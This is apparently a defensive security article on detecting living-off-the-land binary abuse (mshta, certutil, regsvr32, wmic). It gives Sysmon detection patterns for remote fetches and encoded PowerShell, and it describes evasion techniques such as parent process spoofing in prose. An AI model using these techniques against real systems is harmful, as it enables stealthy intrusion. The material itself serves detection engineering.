LOLBAS Detection Is an Architecture Problem, Not a Signature Gap

// introduction

Why LOLBAS Is a Detection Architecture Problem

LOLBAS, Living Off the Land Binaries, Scripts, and Libraries, refers to attacker use of OS-native and pre-installed tooling to execute malicious activity while blending into legitimate administrative behavior. APT29 used mshta.exe, rundll32.exe, and wmic.exe extensively across their documented campaigns. The Lazarus Group has LOLBAS usage cataloged across multiple financial sector intrusions. These are not edge cases, they are the operational standard for sophisticated actors precisely because they defeat the most common detection layers simultaneously.

The core problem is structural: signature-based and hash-based detection is architecturally useless against LOLBAS. The binary is legitimate. The hash is known-good. The vendor certificate is valid. This is not a gap that better signatures can close, it is a fundamental limitation of the detection model. Signature detection assumes the malicious artifact is distinct from the benign artifact. LOLBAS eliminates that distinction entirely. The artifact is benign. Only the context is malicious.

Why LOLBAS adoption keeps accelerating: EDR maturity has made traditional malware deployment expensive. A custom implant requires development time, evasion investment, and generates hashes and network indicators that threat intelligence will eventually burn. LOLBAS requires none of that. The tooling is already on the endpoint, already trusted, and already generating traffic that blends with legitimate administrative noise.

// foundation

Why Signature Detection Fails: the Structural Argument

Signature detection models: hash matching, YARA rules against file content, AV vendor signatures, EDR known-bad heuristics, all operate on the artifact, not the behavior. LOLBAS defeats each layer for a distinct reason:

• Hash matching: certutil.exe, mshta.exe, wmic.exe are Microsoft-signed. Their hashes are permanently allowlisted in virtually every enterprise environment.
• YARA on file content: the binary is unmodified, there is nothing malicious to match in the file itself.
• Behavioral signatures for known-bad process chains: work for documented specific patterns, fail the moment the attacker varies the chain by one hop or one parameter.
• Vendor threat intelligence: attacker use of native binaries generates no IOCs, no malicious hash, no C2 domain embedded in the binary, no network indicator attributable to the tool itself.

// technical

The LOLBAS Attack Surface: a Practitioner Taxonomy

Not every native binary is equally exploitable. The attack surface concentrates in binaries with capabilities attackers specifically need: execution, download, encoding, lateral movement, and discovery. The LOLBAS project catalogs 150+ binaries, but the operationally important detection set is the 15–20 that appear repeatedly in real intrusion chains.

// technical

What Telemetry Behavioral Detection Actually Requires

The telemetry hierarchy below is not a wish list, it is the minimum required to build detection that isn't trivially bypassed. Each layer adds capability the layer below cannot provide.

// technical

The Parent-Child Relationship: Primary Signal and Its Limits

Parent-child process relationships are the most commonly used behavioral signal for LOLBAS detection, and increasingly unreliable as attackers adapt. winword.exe spawning powershell.exe is a classic detection. Legitimate Word does not do this. A malicious macro does. But this detection model has well-documented bypasses:

• Parent process spoofing (T1134.004): Windows allows a process to specify an arbitrary parent via STARTUPINFOEX, the spawned process appears in the event log with a trusted parent even if it doesn't have one.
• Indirect execution: inject into an already-running legitimate process, execution occurs within a trusted process context with no parent-child anomaly to detect.
• LOLBin chains: use one native binary to invoke another, distributing the chain across multiple expected parent-child relationships, each individually unremarkable.

Parent-child detection is necessary but not sufficient. It catches opportunistic and commodity attackers. It fails against targeted adversaries who understand the detection model. What is required beyond it: command line analysis, network correlation, behavioral baselines per binary per user, and multi-event sequencing.

// detection rules

Five High-Value Detection Rules with Rationale

Each rule below includes the known bypass, not as a caveat but as a signal that no single rule is sufficient. The detection model requires multiple overlapping signals.

Sysmon EID 3
  Image: "*\\certutil.exe"
  DestinationIp: NOT IN microsoft_cert_infrastructure_ranges

Sysmon EID 1
  Image: "*\\powershell.exe"
  CommandLine: CONTAINS "-EncodedCommand" OR "-enc"
  ParentImage: NOT IN approved_management_tooling

Sysmon EID 1
  Image: "*\\mshta.exe"
  CommandLine: CONTAINS "http" OR "https"

Sysmon EID 1
  Image: "*\\regsvr32.exe"
  CommandLine: CONTAINS "/s" AND "/u" AND "http"

Sysmon EID 1
  ParentImage: "*\\wmic.exe"
  Image: "*\\cmd.exe" OR "*\\powershell.exe" OR "*\\cscript.exe"

// remediation

What a Mature LOLBAS Detection Program Looks Like

The gap in most LOLBAS detection programs is not the rules, it is the telemetry the rules depend on that was never collected, the baselines that were never built, and the reduction work that was never done to make the signal tractable.

Non-negotiable telemetry requirements

• Full command line arguments preserved end-to-end from endpoint to SIEM, no truncation at any pipeline stage
• PowerShell script block logging enabled via GPO across all endpoints
• WMI event consumer logging enabled (Sysmon EIDs 19–21)
• DNS query logging correlated to process identity
• Network connections correlated to process identity, not just firewall logs without process context

Reduction work before detection is possible

• Audit which LOLBAS binaries have zero legitimate use in your environment and block or alert-on-any-use them
• Enforce PowerShell Constrained Language Mode for non-administrative users, blocks the most dangerous capabilities without requiring a full baseline model
• Remove or disable mshta.exe, wscript.exe, cscript.exe from endpoints where they have no legitimate use

// conclusion

Behavioral Detection Is an Infrastructure Investment

The gap is not the rules. Rules are cheap. The gap is the telemetry pipeline those rules depend on, the command line fields that got stripped at ingestion, the script block logging that was never enabled via GPO, the WMI event IDs that were never added to the Sysmon config.

The closing question worth running right now: if you executed an Atomic Red Team test for mshta.exe fetching a remote payload in your environment, would your detection fire? If you do not know the answer with confidence, that is the gap. The rule may exist. The question is whether the infrastructure beneath it works.